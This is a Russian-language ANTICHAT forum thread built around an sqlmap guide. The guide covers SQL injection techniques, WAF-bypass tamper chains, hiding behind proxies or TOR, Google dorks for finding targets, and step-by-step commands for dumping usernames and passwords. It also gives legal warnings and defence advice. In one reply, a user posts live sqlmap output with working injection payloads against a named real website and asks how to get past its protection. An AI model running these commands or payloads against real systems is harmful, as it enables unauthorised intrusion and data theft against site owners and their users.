HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Веб-уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #11  
Старый 01.07.2025, 00:03
Сергей Попов
Новичок
Регистрация: 14.08.2015
Сообщений: 0
Провел на форуме:
0

Репутация: 0
По умолчанию



От основ до обхода WAF и защиты. Актуальный гайд на 2025 год.
Sqlmap — это не просто инструмент. Это швейцарский нож пентестера, который превращает рутинный поиск SQL-инъекций в автоматизированный процесс, вплоть до полного захвата сервера. Старые гайды по нему хороши, но мир не стоит на месте: везде стоят WAF, технологии меняются. Поэтому мы собрали здесь всё воедино: классическую базу, современные техники обхода и актуальные советы по защите. Всё в стиле античат — по делу и без воды.
Что умеет sqlmap? Ключевые возможности в 2025 году
Если коротко — sqlmap делает почти всё. Он сам определяет тип уязвимости, подбирает нужный эксплойт и вытаскивает данные. Вот его основной арсенал, актуальный для последних версий:
  • Поддержка СУБД: Практически всё, что можно встретить в проде. От классики вроде MySQL, PostgreSQL, Oracle, MSSQL до SQLite, MariaDB, ClickHouse и даже экзотики вроде SAP MaxDB. Полный список всегда есть на официальном сайте.
  • Все 6 техник инъекций: Boolean-blind, Time-blind, Error-based, UNION, Stacked queries, Out-of-band. Инструмент сам определит, какая из них сработает лучше всего.
  • Прямое подключение к БД: Если у вас уже есть логин и пароль от базы данных, sqlmap может подключиться напрямую, без всяких инъекций, для дальнейшей работы.
  • Перечисление (Enumeration): Может вытащить информацию о пользователях, хэшах паролей, ролях, привилегиях, базах данных, таблицах и колонках.
  • Автоматический брутфорс хэшей: Находит хэши паролей и тут же пытается вскрыть их по встроенным словарям.
  • Дампинг данных: Позволяет скачать всю таблицу, отдельные столбцы или даже отфильтровать данные по вашему запросу.
  • Работа с файловой системой: Может читать и записывать файлы на сервер, если у пользователя БД есть на это права (актуально для MySQL, PostgreSQL, MSSQL).
  • Выполнение команд на сервере (
    Код:
    --os-shell
    )
    : При определенных условиях можно получить полноценную командную строку на целевом сервере.
  • Создание Out-of-band каналов: Позволяет установить TCP-сессию между жертвой и атакующим, например, для получения шелла через Meterpreter.
  • Эскалация привилегий: Интегрируется с Metasploit для повышения привилегий в системе.
Как это работает под капотом: техники инъекций
Sqlmap не просто бездумно шлет запросы. Он действует последовательно, перебирая техники от самых шумных и быстрых к самым медленным и незаметным.
  • Error-based (На основе ошибок): Самый быстрый способ. Sqlmap пытается вызвать ошибку SQL (
    Код:
    ...id=1'
    ) и парсит ее текст, чтобы извлечь данные. Сработает, только если сайт выводит отладочную информацию, что сегодня уже редкость.
  • UNION-based (На основе UNION): Классика. Инструмент подбирает правильное количество столбцов в запросе и объединяет его со своим через
    Код:
    UNION ALL SELECT
    . Если повезет, данные из базы выводятся прямо на странице.
  • Boolean-based blind («Слепая» на основе логики): Когда сайт не показывает ошибок и данных, sqlmap начинает играть в игру «горячо-холодно». Он добавляет к запросу условия вроде
    Код:
    AND 1=1
    и
    Код:
    AND 1=2
    и смотрит, меняется ли страница. Так, по одному байту, он восстанавливает нужную информацию.
  • Time-based blind («Слепая» на основе времени): Самый медленный, но самый надежный метод. Если ничего другое не помогло, sqlmap добавляет в запрос команду задержки (
    Код:
    SLEEP(5)
    ). Если ответ сервера приходит с задержкой, значит, условие выполнилось. Это долго, но почти всегда работает.
  • Stacked queries (Пакетные запросы): Мощнейшая техника, если поддерживается СУБД. Позволяет выполнить несколько запросов за раз, разделив их точкой с запятой (
    Код:
    ;
    ). Именно так можно не только читать, но и изменять данные или выполнять системные команды.
  • Out-of-band (Внеполосные): Самая продвинутая техника. Заставляет базу данных саму отправить данные на сервер атакующего (например, через DNS-запрос). Требует специфических настроек и прав.
Пробиваемся через WAF: Tamper-скрипты и хитрости
Сегодня почти любой серьезный проект защищен Web Application Firewall (WAF). Прямые атаки sqlmap он легко отобьет. Но и на этот случай у нас есть решение — tamper-скрипты. Это небольшие скрипты, которые на лету изменяют ваши запросы, чтобы обмануть файрвол.

Они умеют:
  • Кодировать полезную нагрузку (Base64, HEX).
  • Заменять пробелы на комментарии (
    Код:
    /**/
    ).
  • Менять регистр символов (
    Код:
    SeLeCt
    ).
  • Вставлять "мусор" и многое другое. Их больше 50 штук!
Пример команды для обхода популярных WAF (вроде Cloudflare, ModSecurity):

Bash:


Код:
sqlmap -u
"http://site/?id=1"
--tamper
=
space2comment,randomcase,base64encode --level
=
5
--risk
=
3
--random-agent
Наши советы по обходу:
  • Начинайте с простого:
    Код:
    space2comment
    или
    Код:
    chardump
    — классика.
  • Комбинируйте: Не бойтесь создавать цепочки из нескольких скриптов.
  • Маскируйтесь: Всегда используйте
    Код:
    --random-agent
    , чтобы не палиться по стандартному User-Agent от sqlmap.
  • Будьте терпеливы: Подбор рабочего tamper-скрипта — это итеративный процесс. Что-то заблокировали? Пробуйте другой.
  • Используйте прокси: Для сокрытия своего IP и обхода блокировок можно завернуть трафик sqlmap через TOR или цепочку прокси с помощью
    Код:
    proxychains
    .
Важнейшие параметры:
Код:
--level
и
Код:
--risk
Многие новички копируют команды, не понимая этих ключей. А это критически важно.
  • Код:
    --level=...
    (от 1 до 5): Глубина проверки.
    • Код:
      level=1
      (по умолчанию): Проверяются только GET и POST параметры.
    • Код:
      level=2
      : Добавляется проверка Cookie.
    • Код:
      level=3
      : Добавляется User-Agent и Referer.
    • Код:
      level=5
      : Проверяется абсолютно всё. Начинайте с
      Код:
      level=5
      , чтобы ничего не упустить.
  • Код:
    --risk=...
    (от 1 до 3): Степень риска.
    • Код:
      risk=1
      (по умолчанию): Только безобидные запросы.
    • Код:
      risk=2
      : Добавляются "тяжелые" time-based запросы.
    • Код:
      risk=3
      : Добавляются запросы, которые могут изменять данные (например,
      Код:
      OR
      в
      Код:
      UPDATE
      ).
Золотое правило:
Код:
risk=3
используйте с большой осторожностью! На слабом сервере тяжелые запросы могут вызвать отказ в обслуживании (DoS). Неприятно, правда?
Закон и этика: это не игрушки
Запомните раз и навсегда:
Код:
sqlmap
— это инструмент для авторизованного тестирования на проникновение. Его использование на чужих ресурсах без письменного разрешения владельца — это уголовное преступление (в РФ — ст. 272, 273 УК РФ).

Последствия могут быть серьезными:
  • Уголовная и гражданская ответственность.
  • Блокировка вашего IP-адреса навсегда.
  • Проблемы с участием в программах Bug Bounty и карьерой в ИБ.
Если вы серьезно настроены превратить эти навыки в профессию, важно понимать весь путь. Начать можно с подробного руководства на форуме, которое поможет сориентироваться: Руководство для начинающего пентестера: как войти в профессию с нуля.Используйте инструмент только если у вас есть официальный договор на пентест или вы действуете в рамках публичной политики Bug Bounty. В остальных случаях — тренируйтесь на специально созданных для этого лабораториях (например, DVWA, bWAPP).
Как начать: пошаговый план
Прежде чем мы перейдем к конкретным командам, полезно понимать, как этот инструмент вписывается в общую картину. Если вы хотите лучше разобраться в том, что такое пентест и чем он отличается от работы Red Team, на форуме есть отличный обзорный материал: Всё о Пентесте и Red Team для новичков в новых реалиях.
Шаг 1: Поиск цели (для учебных целей!)
Классические Google Dorks всё ещё работают, но в основном на старых сайтах или в рамках CTF:

Код:


Код:
inurl:.php?id=
inurl:product.php?item_id=
inurl:article.php?cat_id=
Сегодня большинство таких URL уже пропатчены. Но для понимания механики это отличный старт.
Шаг 2: Быстрая ручная проверка
Простейший тест — добавить кавычку (
Код:
'
) в конец параметра URL:

Код:
http://test-site.com/product.php?id=123'
Если в ответ прилетела ошибка SQL — это хороший знак. Если нет — это еще ничего не значит! Уязвимость может быть слепой, и тут-то нам и нужен sqlmap.
Шаг 3: Эксплуатация с помощью sqlmap
  1. Простая проверка и получение списка БД

    Bash:


    Код:
    sqlmap -u
    "http://test-site.com/product.php?id=123"
    --dbs
  2. Получение таблиц из конкретной БД

    Bash:


    Код:
    sqlmap -u
    "..."
    -D target_db --tables
  3. Получение столбцов из таблицы

    Bash:


    Код:
    sqlmap -u
    "..."
    -D target_db -T
    users
    --columns
  4. Дампинг данных из столбцов

    Bash:


    Код:
    sqlmap -u
    "..."
    -D target_db -T
    users
    -C username,password --dump
А если сайт требует логин?
В 99% случаев интересные уязвимости находятся за формой входа. Чтобы
Код:
sqlmap
работал в авторизованной зоне, ему нужно передать вашу сессионную cookie.
  1. Залогиньтесь на сайте через браузер.
  2. Откройте инструменты разработчика (F12) -> Application/Storage -> Cookies.
  3. Скопируйте значение вашей сессионной cookie (например,
    Код:
    PHPSESSID=a1b2c3d4e5f6
    ).
  4. Добавьте ее в команду:

    Bash:


    Код:
    sqlmap -u
    "http://site.com/profile.php?id=1"
    --cookie
    =
    "PHPSESSID=a1b2c3d4e5f6"
    --dbs
Еще удобнее — перехватить запрос в Burp Suite, сохранить его в файл
Код:
request.txt
и скормить sqlmap:
Код:
sqlmap -r request.txt
.
А что насчет API и JSON?
Да,
Код:
sqlmap
умеет и это. Если приложение общается через JSON, укажите место для инъекции звездочкой
Код:
*
:

Bash:


Код:
sqlmap -u
"http://api.site.com/v1/user"
--method
=
POST --data
=
'{"id": 1, "role": "user"}'
--headers
=
"Content-Type: application/json"
-p
"id"
Или просто укажите, какой параметр проверять, с помощью флага
Код:
-p
.
Как защититься? Советы для разработчиков
Атаковать весело, но важно уметь и строить крепости. Вот главные правила защиты от SQL-инъекций:
  1. Параметризованные запросы (Prepared Statements): Это золотой стандарт и самый надежный метод. Данные передаются в базу отдельно от самого SQL-запроса, и СУБД просто не может их исполнить. Используйте их всегда. ORM (Object-Relational Mapping) в современных фреймворках делают это по умолчанию.
  2. Принцип наименьших привилегий: Пользователь БД, от имени которого ваше веб-приложение работает с базой, должен иметь минимально необходимые права. Только
    Код:
    SELECT
    ,
    Код:
    INSERT
    ,
    Код:
    UPDATE
    для своих таблиц. Никаких
    Код:
    FILE
    ,
    Код:
    SHUTDOWN
    или прав администратора (
    Код:
    dbo
    ).
  3. Хорошо настроенный WAF: Не просто включить "для галочки". WAF должен работать в режиме блокировки, а его правила — регулярно обновляться.
  4. Валидация и фильтрация входных данных: Проверяйте все, что приходит от пользователя. Если ожидается число — убедитесь, что это число. Если email — проверьте его формат регулярным выражением.
  5. Отключение вывода ошибок: На продакшн-сервере пользователи никогда не должны видеть отладочную информацию и тексты ошибок СУБД.
  6. Регулярный аудит и пентесты: Нанимайте специалистов или проводите Bug Bounty программы, чтобы найти дыры раньше, чем их найдут злоумышленники.
Вместо заключения
Sqlmap — это невероятно мощный скальпель в руках специалиста. Но, как и любой инструмент, он требует понимания. Важно не просто заучить команды, а осознавать, что происходит "под капотом", помнить об ответственности и всегда думать на два шага вперед — не только как атаковать, но и как защититься.

Надеюсь, это руководство поможет вам в ваших (легальных!) исследованиях. Успешного пентеста и безопасного кода!

Продолжение: Гайд по SQL-инъекциям: SQLMap + Hashcat

Цитата:

Обновлено и дополнено командой античат на основе официальной документации sqlmap и практического опыта.
 
Ответить с цитированием

  #12  
Старый 01.07.2025, 11:10
delifer
Новичок
Регистрация: 20.02.2022
Сообщений: 0
Провел на форуме:
0

Репутация: 0
По умолчанию

Цитата:

sith_ortodox сказал(а):

Неплохо бы еще добавлять параметры --tor и --check-tor (добавит немножко анонимности в пентест)

а смысл? Мы тут всё по договору делаем, легально, боюсь это не требуется)
 
Ответить с цитированием

  #13  
Старый 25.11.2025, 02:15
gamoxy
Новичок
Регистрация: 24.11.2025
Сообщений: 0
Провел на форуме:
0

Репутация: 0
По умолчанию

Parameter: page_id (GET)

Type: boolean-based blind

Title: OR boolean-based blind - WHERE or HAVING clause

Payload: page_id=-6154) OR 5450=5450 AND (8862=8862&amp=1

Type: UNION query

Title: Generic UNION query (random number) - 8 columns

Payload: page_id=-6697) UNION ALL SELECT 6812,6812,6812,6812,6812,6812,6812,'qjqxq'||'XrrFQ nvzWGtBSHNuZlXbUDgQvCKGcXoHkTZgeAfY'||'qjvkq';--&amp=1

---

do you want to exploit this SQL injection? [Y/n] Y

[08:14:07] [INFO] testing CrateDB

[08:14:08] [WARNING] the back-end DBMS is not CrateDB

[08:14:08] [INFO] testing MySQL

[08:14:10] [WARNING] the back-end DBMS is not MySQL

[08:14:10] [INFO] testing Oracle

[08:14:11] [WARNING] the back-end DBMS is not Oracle

[08:14:11] [INFO] testing PostgreSQL

[08:14:12] [WARNING] the back-end DBMS is not PostgreSQL

[08:14:12] [INFO] testing Microsoft SQL Server

[08:14:14] [WARNING] the back-end DBMS is not Microsoft SQL Server

[08:14:14] [INFO] testing SQLite

[08:14:15] [WARNING] the back-end DBMS is not SQLite

[08:14:15] [INFO] testing Microsoft Access

[08:14:16] [WARNING] the back-end DBMS is not Microsoft Access

[08:14:16] [INFO] testing Firebird

[08:14:17] [WARNING] the back-end DBMS is not Firebird

[08:14:17] [INFO] testing SAP MaxDB

[08:14:18] [WARNING] the back-end DBMS is not SAP MaxDB

[08:14:18] [INFO] testing Sybase

[08:14:19] [WARNING] the back-end DBMS is not Sybase

[08:14:19] [INFO] testing IBM DB2

[08:14:20] [WARNING] the back-end DBMS is not IBM DB2

[08:14:20] [INFO] testing HSQLDB

[08:14:21] [WARNING] the back-end DBMS is not HSQLDB

[08:14:21] [INFO] testing H2

[08:14:22] [WARNING] the back-end DBMS is not H2

[08:14:22] [INFO] testing Informix

[08:14:23] [WARNING] the back-end DBMS is not Informix

[08:14:23] [INFO] testing MonetDB

[08:14:24] [WARNING] the back-end DBMS is not MonetDB

[08:14:24] [INFO] testing Apache Derby

[08:14:26] [WARNING] the back-end DBMS is not Apache Derby

[08:14:26] [INFO] testing Vertica

[08:14:27] [WARNING] the back-end DBMS is not Vertica

[08:14:27] [INFO] testing Mckoi

[08:14:29] [WARNING] the back-end DBMS is not Mckoi

[08:14:29] [INFO] testing Presto

[08:14:30] [WARNING] the back-end DBMS is not Presto

[08:14:30] [INFO] testing Altibase

[08:14:31] [WARNING] the back-end DBMS is not Altibase

[08:14:31] [INFO] testing MimerSQL

[08:14:32] [WARNING] the back-end DBMS is not MimerSQL

[08:14:32] [INFO] testing ClickHouse

[08:14:32] [WARNING] the back-end DBMS is not ClickHouse

[08:14:32] [INFO] testing Cubrid

[08:14:33] [WARNING] the back-end DBMS is not Cubrid

[08:14:33] [INFO] testing InterSystems Cache

[08:14:34] [WARNING] the back-end DBMS is not InterSystems Cache

[08:14:34] [INFO] testing eXtremeDB

[08:14:35] [WARNING] the back-end DBMS is not eXtremeDB

[08:14:35] [INFO] testing FrontBase

[08:14:37] [WARNING] the back-end DBMS is not FrontBase

[08:14:37] [INFO] testing Raima Database Manager

[08:14:38] [WARNING] the back-end DBMS is not Raima Database Manager

[08:14:38] [INFO] testing Virtuoso

[08:14:39] [WARNING] the back-end DBMS is not Virtuoso

[08:14:39] [ERROR] sqlmap was not able to fingerprint the back-end database management system, skipping to the next target

SQL injection vulnerability has already been detected against 'alwalalyemeni.com'. Do you want to skip further tests involving it? [Y/n] Y

[08:14:39] [INFO] skipping 'من نحن - alwalaly'

[08:14:39] [INFO] skipping '- alwalaly'

[08:14:39] [INFO] skipping 'الوزير - alwalaly'

[08:14:39] [INFO] skipping 'الوعل - alwalaly'

[08:14:39] [INFO] you can find results of scanning in multiple targets mode inside the CSV file 'Local\sqlmap\output\results-11052025_0906pm.csv'
[*] ending @ 08:14:39 /2025-11-06/

Что мне делать дальше? Я не могу обойти защиту.
 
Ответить с цитированием

  #14  
Старый 25.03.2026, 13:18
Valentin_K
Новичок
Регистрация: 24.03.2026
Сообщений: 0
Провел на форуме:
0

Репутация: 0
По умолчанию

Спасибо за гайд. Хорошее объяснение, причем на русском языке.
+ полезные ссылки по пентесту.
Одним словом отличный материал для интересующихся в кибербезе людей)
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.